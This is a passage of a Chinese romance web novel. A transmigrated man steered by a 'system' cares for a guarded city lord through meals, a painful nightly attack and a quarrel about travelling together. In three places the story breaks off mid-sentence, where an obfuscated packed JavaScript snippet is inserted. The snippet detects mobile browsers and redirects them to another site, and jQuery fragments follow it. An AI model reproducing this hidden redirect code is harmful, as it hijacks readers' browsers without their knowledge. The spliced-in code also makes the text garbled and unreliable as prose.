见郁辞白没说话,似乎是被他的理由说服,顾宴之立马走上前去把被子抖开,平铺在床上,“城主,我下次不会了。” 认错服软态度良好,让郁辞白一时也挑不出错处。 顾宴之俯身刚整理完被子,背后忽然一重,他偏头一看,原来是多了件黑色大氅。 郁辞白开口道:“你回去吧。” 顾宴之愣了下,“多谢城主。” …… 顾宴之回到自己的住处,系统飞了出来,祝贺道:【亲爱的宿主,任务对象的信任度又加了2。】 现在是3%了。 顾宴之缓缓脱下身上的黑色大氅,顿了顿,“是吗?” 但他好像什么也没做。 如果说送粥涨信任度还能摸得着头脑,那今天的事情就完全没有缘由了。郁辞白不发脾气都算好的,怎么还会加信任度? 难道说攻略郁辞白,是要在他面前多多露脸吗? 顾宴之现在想不到,因为他太困了。 他要睡觉。 城主府的工作算是清闲。 不用顾宴之当值的时候,一天闲出了花,什么事都不用做。 只不过唯一有一点不好的是,城主府下人的饭菜伙食是大锅饭,虽然算不上难吃,但绝对也不能说美味。尤其口味清淡,又不能点菜,吃多了都要腻了。 比之前作为使者身份时的饭菜差远了。 于是,大部分下人都会用工钱偶尔出门打打牙祭,上酒馆吃点好的。 但,顾宴之没有工钱。 一日晚饭,吃的是清汤面配鸡蛋,清淡得吃完跟没吃似的。 顾宴之从厨房里正要离开时,忽然闻到一股喷香的味道,循着香味找过去,才发现后厨正在烹饪盛宴。 不仅菜品种类丰富,而且色香味一个不差。 顾宴之好奇问道,“这是——?” “这是城主大人的晚膳。” 顾宴之心里狠狠地酸了。 目光移到旁边桌上,上面摆着许多剩下的食材。比如萝卜雕花,只取了中间的芯,剩下一大半食材就没了用处。 后厨见顾宴之的视线看着那堆已经没用的食材,问道:“你要吗?” 府里很多下人都会来厨房要当日用不上的食材,大部分是带回家分给家人吃,反正最后丢掉也是丢掉,还不如送出去节约粮食。 不一会儿,顾宴之抱着一堆食材回到了自己的住处。 伍苏正在院子里洗衣服,惊讶道:“你怎么拿这么多食材回来?” 顾宴之在看见这些食材时心中就已经有了想法。 在伍苏的帮忙下,顾宴之很快处理好了这些食材。 伍苏不解道:“为什么要把这些用木筷子穿起来?” 顾宴之:“等下你就知道了。” 紧接着,顾宴之在院子里生了火,把食材放在火上烤熟,再放上从厨房顺来的盐和辣椒粉,香味顿时扑鼻。 伍苏吸了吸鼻子,“这是什么做法?怎么这么香?” 顾宴之把烤好的一串蔬菜递给伍苏,“尝尝。” 虽然这里调料品简单,但胜在食材鲜美,只是略微一烤,再撒上些盐和辣椒就已经很美味了。 伍苏迫不及待地接了过来,不顾烫嘴地咬了一口,“哇哇哇,怎么这么好吃——” …… 晚上刮起了风。 郁辞白从书房回到卧房的路上,微风吹过,忽然闻到了一股奇特的味道。 味道传来的方向,不出意外是东阁。 东阁距离城主卧房最近,大多住着贴身服侍城主的下人。 郁辞白心中忽然升起一种不妙的预感。 城主府的下人皆老实本分,除了一个人—— …… 郁辞白到达东阁的时候,隔着半掩的大门,一眼就看到里面冉冉的火光。 郁辞白眉心跳了跳,这是要把他的城主府烧了么? 顾宴之背对着大门,吃得正投入的时候,只见坐在他对面的伍苏脸色一变,惊恐万分。 “城主来了!”伍苏飞快提醒一句,然后一瞬间溜得没了影子。 顾宴之还没反应过来,什么玩意? 直到身后幽幽传来一声冷冰冰的声音,“你在做什么?” 顾宴之慢半拍地回头,“城主。” 郁辞白在推门进来时看到顾宴之的身影一点也不奇怪,仿佛不是他才稀奇。 郁辞白忙了一日公务,回来就寝前还要碰见每日一不同的意外,破天荒地沉默半晌,“你就不能安生一天?” 顾宴之不知道自己怎么不安生了,他手里还拿着刚烤好的一串土豆,“……城主要尝一口么?” 郁辞白无声睨着顾宴之。 顾宴之以为郁辞白同意了,把土豆送到郁辞白唇边,声音一如既往地温润,“吃吧。” 顾宴之说话总是带着容易令人产生错觉的温柔,浅淡的眸色情深,让人忍不住陷进去。 郁辞白却猛然后退了一步。 “怎么了?”顾宴之有些疑惑,眨了眨眼,“城主不吃么?” 夜色深黑,在顾宴之看不到的地方,郁辞白的耳朵染上了一抹淡淡的绯色。 郁辞白启唇:“放肆。” 顾宴之茫然,他如何放肆了? “城主不愿吃便罢了。”顾宴之缓缓垂下了手,声音透着些许低落,“宴之自知身份低微,城主怕是瞧不上宴之的东西。” 郁辞白微不可察地皱了下眉,“……” 他有说什么吗? “宴之别无所长,只在吃食上略有研究,既然城主不喜欢的话,那宴之以后就不做了。”顾宴之低低叹了口气,“宴之只想为城主做点什么,这也不行吗?” 郁辞白:“……” 这让郁辞白忍不住再次回想了一遍,他刚才说了什么过分的话吗? 顾宴之抿了抿唇,“宴之别无他想,只是想好好服侍城主。” 郁辞白:“……” 如果他没记错的话,他刚才只说了一句放肆而已,况且本来就是顾宴之放肆在先。 顾宴之垂下眸子,一向明亮的双眸此时暗了下去,“无事,宴之本来就是一介——” 没等顾宴之说完,郁辞白就打断了他的话,说不出来情愫,“本城主吃。” 顾宴之闻言抬眸,“真的吗?” 郁辞白偏过了头,“本城主从不说谎。” 顾宴之重新拿起烤土豆串喂到郁辞白唇边,这次郁辞白微微张开了嘴,轻轻地咬了一口土豆边缘。 焦香的土豆配上盐和辣椒粉,味道很是不错,只不过—— 郁辞白忽然忍不住地咳嗽几声,仿佛是被呛到了喉咙,“你——” 顾宴之不知发生了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320339|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,连忙拍了拍郁辞白的后背,帮他顺了顺气。 他没在土豆片里下毒啊。 郁辞白咳得眼角泛红,“水……” 顾宴之连忙到屋里倒了杯冷茶拿出来,喂到郁辞白嘴边,让他喝了下去。 一杯冷茶下肚,郁辞白才终于缓了过来,止住了咳嗽。 顾宴之连忙自证清白,“城主,土豆片没毒。城主若不信的话,宴之可以全部吃完。” 郁辞白开口时声音还带着微哑,“……本城主不吃辣。” 原来如此。 顾宴之吃辣,因而每片烤串上都撒上了红彤彤的辣椒粉,只是因为天色原因看不清楚。 “不好意思。”顾宴之心生歉意,“下次宴之给城主做不辣的。” 要吃是郁辞白自己同意的,倒不至于怪罪到顾宴之身上。 郁辞白道:“吃完就将火灭了吧,小心起火。” * 过了几天便是十五。 每逢十五,北澜城都会有灯会。晚上无事,城主府清闲的下人都溜出去看灯会,伍苏也带着顾宴之出了城主府。 这是顾宴之来到古代后第一次出城主府。 月圆之夜,街道上家家户户门口都亮起了灯笼,照亮了整片夜空。街上人们拿着各式各样的花灯,五彩斑斓。 顾宴之身无分文买不了灯笼,最后通过猜灯谜得了两个小兔子灯笼。 他们没在外面久留,城主府有宵禁,到点了就要回去 。 顾宴之拎着两只小兔子灯笼回到住处,一只放在床头,另一只打算拿去送给郁辞白。 城主府似乎不过灯会,整府上下亮起的仍然是平常的灯笼烛火。 听说进来北澜城山贼肆虐,郁辞白因为此事愈加繁忙,经常深夜才回到卧房。 顾宴之便先到书房去找郁辞白,却发现书房灯烛熄灭,里面没人。 今天郁辞白这么早就寝吗? 灯笼当然要十五当天送,否则就没有意义了。顾宴之于是便到城主卧房去找郁辞白。 天色漆黑,卧房窗边透出微弱跳动的烛光。 大门紧锁。 顾宴之便敲了敲窗棂,“城主大人,您睡了么?” 里面无声。 顾宴之又等了一会儿,见里面迟迟没有回应,便打算离开了。 不然扰人睡梦也太罪恶了。 顾宴之刚想离开时,忽然耳尖地听到屋内传来一声低低的闷哼,声音很低,却能听出痛苦的意味。 “……” 顾宴之愣了愣,又抬手叩了叩窗户,“城主,城主?” 顾宴之可以确定刚才的声音不是错觉,见里面又没有回应,微微皱了皱眉头,直接弄破了窗户纸。 如果只是误会,郁辞白怪罪就怪罪下来吧。 卧房分外屋和里屋,通过一道屏风相隔。 外屋光线昏暗,隔着屏风能看到内屋燃起了一道小小的烛火,照亮了屏风后蜷缩的人影。 “……” 顾宴之感觉出了不对劲,来不及考虑什么,直接翻窗跃了进去。 进去之后才发现,室内一片狼藉。 架子上的花瓶摔碎了几个,碎片散落在地上。顾宴之避开碎片小心前进,缓步走过屏风,看见了坐在床尾的郁辞白,对方的身影在此刻显得无比单薄。 “城主……” 顾宴之一步一步走近,低声道:“你怎么了?” “出、去。”郁辞白因为疼痛而冷汗涔涔,视线几乎模糊,察觉到有人进来,压低声线警告道:“滚出去。” 8. 城主8 郁辞白身处极大的痛苦中。 灵魂和身体仿佛被割裂开来,形成了两个不同的部分,经脉仿佛被无数根针刺穿,生命力仿佛一点点流逝,这种活着的感觉比死亡更加绝望。 …… 顾宴之当然不会在这个时候出去。 他虽然不知道发生了什么,但看郁辞白的模样,怎么也不能放心留他一个人待在房中。 他在脑海里问系统,【系统,你知道郁辞白怎么了吗?】 系统连忙查阅背景资料,最后回答道:【宿主,这段剧情被隐藏了。】 顾宴之表示明白了。 顾宴之慢慢走向郁辞白,倾身蹲在他的身前,“城主……” 话还未完,顾宴之忽然被狠狠扼住了喉咙,攫取了所有的呼吸。 “滚——”郁辞白眉眼阴鸷,语气冰凉,“不然杀了你。” 看到他这副模样的人都该死—— 顾宴之没有挣扎,反而抬手覆上郁辞白的后背,轻轻拍了拍,低声道:“城主莫怕,我是宴之……” “宴之……”郁辞白慢慢重复了一遍这个名字,“顾宴之……” “是我,城主。”顾宴之声音温柔得蛊人,“城主放心,宴之对城主没有坏心。” 郁辞白陡然松开了手。 呼吸重新回归肺腑,顾宴之深呼了一口气,刚才无疑是在生死关头走了一遭。 清醒时的郁辞白或许不会杀他,但是不清醒的郁辞白却未必…… 郁辞白指尖用力掐入掌心,外界尖锐的疼痛唤回了些许理智,一字一句厉声道:“……顾宴之,趁着本城主还清醒,赶紧滚。” “我不走……” 顾宴之蹲在郁辞白身前,抬眸看向他,眼中藏着说不清的执着,又低声重复了一遍,仿佛是说给自己听的,“我不走,我陪着你……” 虽然背景信息和传闻都说郁辞白是个恶人,但顾宴之却觉得,对方没有那么坏…… 郁辞白额头上布满了冷汗,即便这个时候也未曾示弱,“……你不怕本城主杀了你?” “不怕。” 顾宴之觉得郁辞白不会杀他,不然要杀早杀了,何必等到这个时候。 顾宴之见郁辞白面色苍白,从壶里倒了杯温水送了过去,“城主,喝点水吗?” 郁辞白接过水杯,却因为身体里陡然传来的刺痛而手一抖,水杯里的水全洒落在身上,一片狼藉。 顾宴之连忙拿帕子帮忙擦了擦郁辞白身上的水,但衣裳上的水是擦不干的。顾宴之怕郁辞白传着湿衣服着凉,便自作主张地脱掉了他的外袍。 郁辞白无力挣扎。 脱掉外袍后,顾宴之询问道:“城主,要不要我叫医官过来?” 郁辞白闭了闭眼,脖颈因为痛苦而青筋暴起,“不准叫。” 他的这副模样,不能让其他人看见。 “好好,不叫。”顾宴之不知道为什么郁辞白痛苦成这样都不让叫医官,但此时此刻只能顺着对方来,“城主,你哪里不舒服?” 顾宴之不懂医术,此刻也不知道该做什么,只能小心翼翼地拍着郁辞白的后背,慢慢疏解他紧绷的情绪。 郁辞白忽然开口,“把架子上的白色药瓶给本城主。” 顾宴之环顾四周,在屏风旁边的木架子上看到了一个白色药瓶,走过去拿了过来,递给了郁辞白。 郁辞白接过药瓶,手上带着不易察觉地颤抖,从中倒出几粒黑色的药丸,却没有立即服下,而是先放到鼻下闻了闻。 顾宴之察觉到,这药丸似乎对郁辞白的疼痛有奇效,只是闻了闻味道,能明显感觉到对方周身的状态好了许多。 与此同时,顾宴之心里也多了一丝不对劲。 片刻后,郁辞白正要服下药丸,却突然被一双手挡住。 顾宴之忽然握住郁辞白的手腕,制止住了对方服药的动作,蹙起眉头,“城主,这是什么?” 郁辞白抬眸看向顾宴之,狭长的眼角泛着猩红,“药丸。” 顾宴之步步紧逼,“什么药丸?” 郁辞白:“止痛药丸。” 顾宴之却还是未松开攥着郁辞白的手。 第六感告诉他,这不是普通的药丸。如果单纯是止痛药丸的话,那为什么一开始郁辞白不吃? 【系统,帮我查一下这是什么药?】 系统:【化验成分消耗1积分,可能会有失败的风险。】 都这个时候了还积分不积分的,顾宴之毫不吝啬,【消耗。】 【成分化验中……】 【成分化验成功。】 【宿主,该药丸主要成分是丹砂、雄黄、白矾。药性燥热绘烈,会产生迷惑人心的短期效用,可用于止痛,但有依赖性,实际上是一种慢性中毒。】 慢性中毒…… 顾宴之咻一下抢走了对方手中的药瓶和药丸。 郁辞白一顿,眸中闪过疑惑,“?” 如果郁辞白理智清晰,顾宴之当然不会制止他吃药。但郁辞白这个时候一看就不理智,顾宴之当然是能拦就拦。 慢性中毒可不是好玩的。 “忍忍。”顾宴之安慰道:“忍一忍……” 郁辞白指尖动了动,最终还是没有夺回药瓶,闭上了眼睛,沉默地缩了起来,试图忽略体内翻涌的痛感。 “……” 顾宴之也没说话,只是安静地陪在郁辞白的身边。 时间一分一秒地过去,不知过了多久,闭眸修养的郁辞白忽然感觉肩头一沉。 他侧过头看了过去,顾宴之不知何时等睡着了,直接靠在了他的肩头,睡得很香。 郁辞白:“……” 他深呼出一口气,勉强抬起手把对方推到床的里侧。这么大的动静,顾宴之硬是醒都没醒。 * 清晨。 郁辞白在一阵沉重中醒来。 经过一晚的时间,昨晚周身的疼痛已然消失,只留下轻微的酸痛感。 郁辞白想坐起身,却发现脖颈像被勒住似的,他偏过头,才发现身旁的人胳膊架在他的身上,方才他体会到的沉重感就是来自于此。 “……” 郁辞白揉了揉额头。 昨夜…… 郁辞白把身旁的顾宴之移开,坐起身来,起身披上了外袍,叫小厮进来伺候洗漱。 洒扫小厮正要整理床铺,见榻上还有一人衣衫不整,顿时惊呆地不可自已,“!!!” 城主清心寡欲多年,终于破戒了吗? 再仔细一看,榻上之人居然是男人! 洒扫小厮:“!!!!!!” “城主……”洒扫小厮低头不敢看,问道:“榻上……” 郁辞白:“不用管,你走吧。” 洒扫小厮连忙退了出去。 …… 顾宴之醒来的时候,已经日上三竿,太阳顺着窗户照了进来。 眼前不是简单朴素的木床,而是华贵奢侈的床顶,床头垂落精致的幔帐,俨然不是顾宴之熟悉的卧房。 这是哪儿? 顾宴之揉了揉眼睛。 他坐起身来,看到熟悉的屏风和室内布局,才反应过来这里是城主卧房。 他昨晚…… 顾宴之只记得郁辞白似乎是发了病,他陪在对方身边,然后就…… 睡着了。 顾宴之懊恼地拍了拍自己的脑袋。 这么好的刷信任度的时机,他居然睡着了!按照顾宴之原本的摄像,应该陪在郁辞白身边一整晚,细心照料,这样郁辞白对他的信任度自然会升高。 系统华丽地飞了出来,带着十足的欢欣雀跃:【亲爱的宿主,恭喜你~】 “恭喜我什么?” 【昨晚任务对象的信任度涨了十个点哦~】 顾宴之下床的动作一顿,什么,涨了10%?! 平常都是一点两点地涨,这次突然涨了10,难免让顾宴之感到意外。 况且昨晚上他除了睡觉什么也没做。 想起昨夜郁辞白脆弱的模样,顾宴之有些走神,问系统道:“郁辞白的病……还好吗?” 系统敏锐察觉到了什么,幽幽道:【宿主,不要对任务对象产生同情的感情呦。】 宿主的最终目的是为了渣了任务对象,现在的取得信任也只是为了以后背叛做准备。 星际系统教科书上说,永远不要让宿主对任务对象产生任何感情。 顾宴之迟疑片刻,没有说话。 …… 为了搞清楚为什么会加这么多信任度,以及为了乘胜追击,顾宴之醒来后就去找了郁辞白。 郁辞白在书房中。 顾宴之觉得郁辞白起码是个好城主,每日励精图治处理公文,把北澜城治理成如今的边境各国中的佼佼者。 顾宴之从书房窗户处看向郁辞白,对方已然没了昨晚的虚弱与脆弱,侧脸棱角分明,一袭玄色衣袍,气质冷淡。 郁辞白当然察觉到窗户处的视线,只是在等他进来,但半晌后对方仍在窗户处望着他,既不进来也不说话。 郁辞白终于抬眸看了过去,“何事?” 顾宴之趴在窗台上,支着下颌,唇边带着笑意,“城主,你好点了么?” 郁辞白微顿,朝顾宴之招了招手,“进来。” 话音刚落,又补了一句:“从门口进来。” 顾宴之即将翻窗的动作一停,老实地从大门进入。 “你昨夜……”顾宴之坐在室内的软榻上,整理了下衣袖问道:“是怎么了?” 昨日郁辞白的状态不似正常发病,又不让叫医官,更像是有什么隐疾。 郁辞白的回答模糊不清,“无碍。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320340|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也能叫无碍??? 顾宴之心想郁辞白大概是不想说,每个人都有自己的秘密,于是未加多问,转移了话题,歪了下头,问道:“城主,你昨夜想杀我是真的还是假的?” 郁辞白淡淡启唇:“真的。” 顾宴之:“……” 郁辞白昨夜一开始见有人闯入卧房,第一反应的确是想杀了对方。但当反应过来那人是顾宴之后,不知为何迟疑了。 他明明应该想要杀对方的才是。 郁辞白的性格往往是宁可错杀不可放过,当日刺杀的南灵城使者在拷问后已经处死了,其供出的人就有顾宴之。 况且那日的信鸽,也证实了顾宴之是南灵城刺客之一。 即便顾宴之还未做出任何和刺客有关的事情,但郁辞白向来多疑,对方的身份在他心中也已经明白了。 是个刺客,不过可能是个蠢的。 只不过在对方尚未做出刺客之举之前,郁辞白愿意留对方一条性命。 “……” 顾宴之不说话了。 他搞不懂,明明信任度已经高达13%,为什么郁辞白还是想要杀他? 这让顾宴之郁闷至极。 他坐在软榻上,换了个朝向,面对着墙,开始沉默不语。 郁辞白批阅了几份公文后,才发现顾宴之许久没开口了,慢半拍地抬头看了过去,见对方坐在软榻上拿后背对着他,墨发挽在脑后,不知在做什么。 郁辞白放下朱笔,“顾宴之。” 顾宴之嗯了声。 “你伤势如何?”郁辞白问道。 “多谢城主还记得宴之的伤势。”顾宴之今日说话颇为奇怪,仿佛多了些阴阳怪气、意有所指,“不过不劳城主挂心,反正宴之活着也好,死了也罢。” 郁辞白蹙眉,“谁说让你死了?” “城主明明说想亲手杀了我,难不成不是盼着宴之死不成?” 郁辞白凝固几秒,“……那是昨夜。” “幸得宴之命大,昨夜才没死成。”顾宴之叹了口气道:“不过有一就有二,城主既然想杀我,宴之也愿意为城主而死。” “这伤也不用治了,干脆让宴之疼死算了。” 郁辞白总觉得哪里不对,却又说不上来哪里不对,莫名心中有些烦闷,叫来门口的守卫,“让医官来。” 顾宴之轻哼了声,“叫医官来做什么,下毒把宴之毒死算了。” 郁辞白:“先把你毒哑。” 他总觉得顾宴之今天说话怪怪的。 顾宴之哦了声,“原来城主不喜欢听宴之说话,那宴之不说话好了。” 郁辞白没有这个意思,思虑片刻还是决定沉默,等医官来了再说。 医官提着药箱来得很快。 先是诊脉,再是问诊:“公子近来有何感觉?” 顾宴之附到医官耳边,声音很小地回答道:“伤口已经没有明显疼痛了,不过拉扯到的时候还会痛。” 医官心中奇怪顾公子为什么要这么说话,但这不是他该管的事情,“公子的伤口已无大碍,只是这毒颇为复杂,老夫一时也无能为力……” 顾宴之又小声说了几句话。 医官被带得不由自主也小起声来。 郁辞白:“…………” 他终于发现,顾宴之今天不是行为奇怪,是单纯地记仇。 郁辞白第一次碰见这样的人。 他身居高位,以前从未有人敢这样跟他说话,就算有,这人也出现不到他的面前。 医官朝郁辞白走了过去,“城主,顾公子说让老夫替您也诊一下脉。” 郁辞白:“让他自己来说。” 医官不明所以,又转头看向顾宴之,“……顾公子?” 顾宴之下了软榻,走到医官面前小声对他说了句话。 医官不解,但还是依然传达:“顾公子说他就不在城主面前开口说话了,反正城主也不爱听。” 郁辞白:“本城主何曾说过?” 顾宴之对医官说,医官再次传达:“顾公子说您刚刚说的。” 医官简直要汗流浃背了,终于看懂这两人之间的氛围了,他架在中间显然有些多余。 他躬身道:“老夫先去外面等候,等城主准备好了再唤老夫进来诊脉。” 说罢,医官直接退了出去。 书房里只剩下顾宴之和郁辞白。 郁辞白从座位上站起身来,走向顾宴之,视线看向别处道:“本城主收回刚才的话。” 顾宴之:“什么话?” “说要毒哑你的话。”郁辞白顿了顿,“本城主收回。” 顾宴之问道:“那城主是否真心想杀宴之?” 郁辞白侧过了头,“若是真要杀,你便活不过昨夜。” 言外之意,没有真的想杀。 9. 城主9 若是熟识郁辞白的人听闻此番言论,怕是会惊愕得合不拢嘴。以郁辞白的寡言性格,向来不会多说解释的话。 但他如今还是破例了。 顾宴之唇角蓦然弯了弯,没有了刚才的别别扭扭,恢复了往常的浅浅笑意,“城主不会对宴之动手,对吗?” 郁辞白被顾宴之的笑容闪了闪眼,不由移开了视线,“你要是不生坏心思,本城主自然不会杀你。” 只要顾宴之永远如现在一样,那郁辞白也愿意忽略对方刺客的身份,留他一条性命。 “宴之待城主之心无二。”顾宴之不急不缓地走近书案,说话时一字一句藏着难掩的温柔情愫,“城主,医官就在门外,不妨让他为城主诊一下脉如何?” 昨夜的事情印在顾宴之的心中,郁辞白的状态并不像简单的疼痛,更像是身体出了问题。 “……不必。”郁辞白没应允:“医官诊不出来。” 诊都没诊怎么能说诊不出来,顾宴之表示怀疑:“不信。” “……”郁辞白被顾宴之的顶撞弄得一时语塞,半晌才道:“以前医官诊过,无需再做无用功。” 顾宴之双手抱胸,“眼见为实,我没见过便不算真。” 郁辞白从未见过此等胡搅蛮缠且固执之人,却偏偏又不能拿他如何,“……那你想如何?” “让医官替城主诊脉。”顾宴之生怕郁辞白不同意,刻意强调了一遍,“现在。” 郁辞白闭了闭眼,此生第一次拿一人没辙,说也说不过,杀也杀不了,只能道:“随你。” 顾宴之便去请医官进来。 医官切上郁辞白右手的手腕,思量片刻后道:“城主大人的身体一如以往,并无异常,只是——” 顾宴之急忙接话道:“只是如何?” “只是城主最近过于操劳,脉搏虚浮,老夫开几方药膳及时调理即可。” “……因为操劳?”顾宴之懵了下,昨夜郁辞白的疼痛不似作假,对方也不像不能忍痛的人,怎么可能只是因为操劳,“您在好好看看呢,城主会不会有什么隐疾?” 郁辞白:“……” 医官:“……” 哪有没病找病的? 医官耐心回答道:“城主的脉一直是老夫在诊,如果有什么隐疾不会瞒到现在。” 顾宴之还是不太信,但医官都说没事了,他再质疑未免显得有些多余。 医官离去后,顾宴之显得有些诧异,在室内走了几圈,支着下颌疑惑道:“为什么医官诊不出来?” 郁辞白看着顾宴之在书房里转来转去,视线移向桌面的公文,淡声道:“因为这不是病。” 顾宴之下意识问道:“那是什么?” 郁辞白抬眸睨了顾宴之一眼,漆黑的眸子仿佛深不可测,一眼望去看不到底,未曾说话。 顾宴之感觉到对方似乎不想回答这个问题。 问系统,系统说这是隐藏剧情。 问郁辞白,对方不想说。 顾宴之敏锐地察觉到这是个关键线索。 书房的空气安静下来了,郁辞白顿了顿,交代道:“后日本城主有事外出,你在府中安分守己,勿惹是非。” 以往郁辞白离府时心无挂碍无牵无挂,府里万事有管事先生安排得井井有条,不扰他费心。而今时今日不同,郁辞白心中多了些不同的情绪,说不清道不明,只能归咎于顾宴之实在太不省心。 顾宴之刚想点头,但与此同时,系统忽然发出一阵通报声—— 【叮!恭喜宿主触发任务:跟着郁辞白一起离开城主府,任务完成奖励10积分。】 “……” 顾宴之止住即将点头的动作,单手撑在桌案上,猝不及防地改口道:“城主,我也想去。” 郁辞白没反应过来,“你去哪儿?” “跟您一起去。”顾宴之微微俯身靠近郁辞白,一双浅淡的眸子直视着对方,微微抿了抿唇道:“城主去哪儿我就去哪儿。” 郁辞白叩了叩桌子,仰起头看向顾宴之,“你知道我要去哪儿吗?” “不知道。”顾宴之语气依然带着坚持,“但宴之想跟城主待在一起。” 顾宴之似乎没有觉察到自己的话有多暧昧,顺理成章地脱口而出,几乎没带一丝犹豫,仿佛这真的是他内心所期望的。 郁辞白微不可察地停顿了片刻,连自己都不知道为何,明明顾宴之经常把这种不正经的话挂在嘴边,他早该做到不在意,却一次又一次地破例。 郁辞白道:“若本城主去的是龙潭虎穴呢?” 顾宴之态度坚持,没有一丝一毫地松动,“那宴之也去。” 郁辞白从位置上起身,慢慢走到屏风后,那里有一把未开刃的宝剑,他从剑鞘里抽出剑身,指尖在剑身上摩挲片刻,似乎在思考什么。 顾宴之看着郁辞白的动作,不知道对方要做什么。 下一刻,郁辞白右手转了个剑花,随后,剑风突起,剑尖以迅雷不及掩耳之势直指顾宴之的脖颈。 顾宴之压根就没反应过来,站在原地一动不动。 剑尖距离他的喉结只有不到一寸的距离。 顾宴之后退半步,愣了愣问道:“城主这是何意?” 郁辞白利索地把剑插回了刀鞘,“你连武功都不懂,凭什么敢与本城主通行?” 顾宴之的确手无缚鸡之力,他一个现代人懂什么武功,尤其在遍地是高手的这个世界显得格外弱小。 郁辞白探完顾宴之的虚实,不欲再和顾宴之多讲,转身便要离开书房。 顾宴之锲而不舍,跟了上去,“我相信城主的能力,有城主在,宴之不会有事的。” 郁辞白脚步一顿,“本城主何时说过会保护你?” 顾宴之提醒道:“城主明明说过不杀宴之。” 郁辞白突然停下了脚步,紧紧跟在郁辞白身后的顾宴之冷不丁地不小心撞了上去。 顾宴之捂着被撞疼的额头,问道:“难道城主忘记了方才说过的话么?” “本城主说的是不杀你。”郁辞白甚至开始怀疑自己的理解,一字一句慢慢道:“不是会保护你。” 顾宴之面露惊讶,仿佛听到什么令人震惊的事情,“难道城主会看着宴之死不成?” 郁辞白:“……” 还是那句话,说又说不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320341|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,杀又杀不了。 顾宴之叹了口气,有一种生命没意义的失落,“城主走了,那宴之一个人待在城主府还有什么意思。” “你要是闲得慌。”郁辞白面无表情道:“本城主可以给你找点事做。” “七银前段时间生了崽,你没事就去挨个喂。” “……”顾宴之噤了声,他可不想去喂狼。 但沉默只是短暂的,顾宴之为了任务的10积分,再次开口道:“宴之只是跟着城主都不行么?城主路途上若是烦闷,还可以找宴之说说话。” 郁辞白这次的嘴格外得严,没有丝毫松动的余地,“不需要。” 顾宴之也没想到郁辞白怎么说都不肯同意,好说歹说都不行,所以郁辞白这回是要去哪儿,为什么死活不带他去? …… 顾宴之磨了郁辞白一天,嘴皮子都干了,各种理由都用遍了,郁辞白还是没有丁点同意的征兆。 “系统。”顾宴之灌了一口水,对系统抱怨道:“这个任务怎么完成?给点提示。” 【请宿主自行摸索。】系统道:【郁辞白后日早上出发,宿主您还有一天时间。】 时间在即,顾宴之喝口水都差点被呛到,“我已经跟郁辞白叨叨一整天了,他不同意能有什么办法?” 系统提醒道:【10积分可不是好拿的哦~】 谁让顾宴之一开始欠了二十积分,没办法,现在赚的每一个积分都是在还债。 顾宴之:“我想想办法。” 过了一会儿,他叫来伍苏,压低声音在他耳边说了几句话。 伍苏犹豫道:“啊?这样可以吗?” 顾宴之:“你就说你是我的好友,我保证没事的。” 伍苏面露纠结。 顾宴之拍了拍伍苏的肩膀,给了他信心,“帮我一次,以后我帮你上值。” 伍苏也不是很需要顾宴之帮他上值这样,但是看着顾宴之真诚请求他,他还是不忍心拒绝。 伍苏狠狠心同意了:“好。” …… 晚上。 郁辞白正要就寝,忽听院子门口传来喧哗声。 伍苏心中瑟瑟发抖,声音却一点也不小,“伍苏求见城主!” 不一会儿,守卫就进来通报,说有一人在外想要见城主。 郁辞白声音冷淡,“何人?” 守卫实话道:“那人自称是顾宴之的好友,特来求见城主有要事。” 郁辞白:“…………” 走了一个顾宴之,来了一个顾宴之的好友。 郁辞白揉了揉眉心,“让他进来。” 伍苏不知道顾宴之为何要做这些事,但这样做自然有这样做的道理,便一一照着对方说的做。 时间慢慢过去,正当伍苏以为要失败了的时候,守卫出来通传他进去。 伍苏心惊胆战地走了进去,心中默念顾宴之教给他的台词。 走进卧房,伍苏忽然扑通一声跪在郁辞白的面前,低着头不敢看城主,声泪俱下道:“城主,求你去看看顾宴之吧!” “他从树上掉下来了!” 郁辞白抬眸:“?” 10. 城主10 郁辞白,“他从何处摔下?” 伍苏虽然做的是城主房中洒扫的工作,但却很少会面见城主,因而这一次心中难免忐忑不安,两腿颤颤地回答道:“顾宴之为了给城主摘枇杷果,一时失足从树上跌下。” “……”郁辞白一顿,他什么时候让顾宴之给他摘枇杷了? 伍苏低着头看不清城主的表情,只是听对方良久没发出声音,心道顾宴之交给他的任务可能要失败了,最后争取了一下,闭着眼睛瞎编,“城、城主。顾宴之为了城主受了伤,还请城主去看他一眼。” 这段话不是顾宴之教他的,伍苏即兴发挥的。 “……” 郁辞白起身披上外袍:“带路。” 一路前往东阁。 郁辞白刚到顾宴之卧房门口,里面的人似是听到动静,声音虚弱道:“伍苏,是你回来了么?” 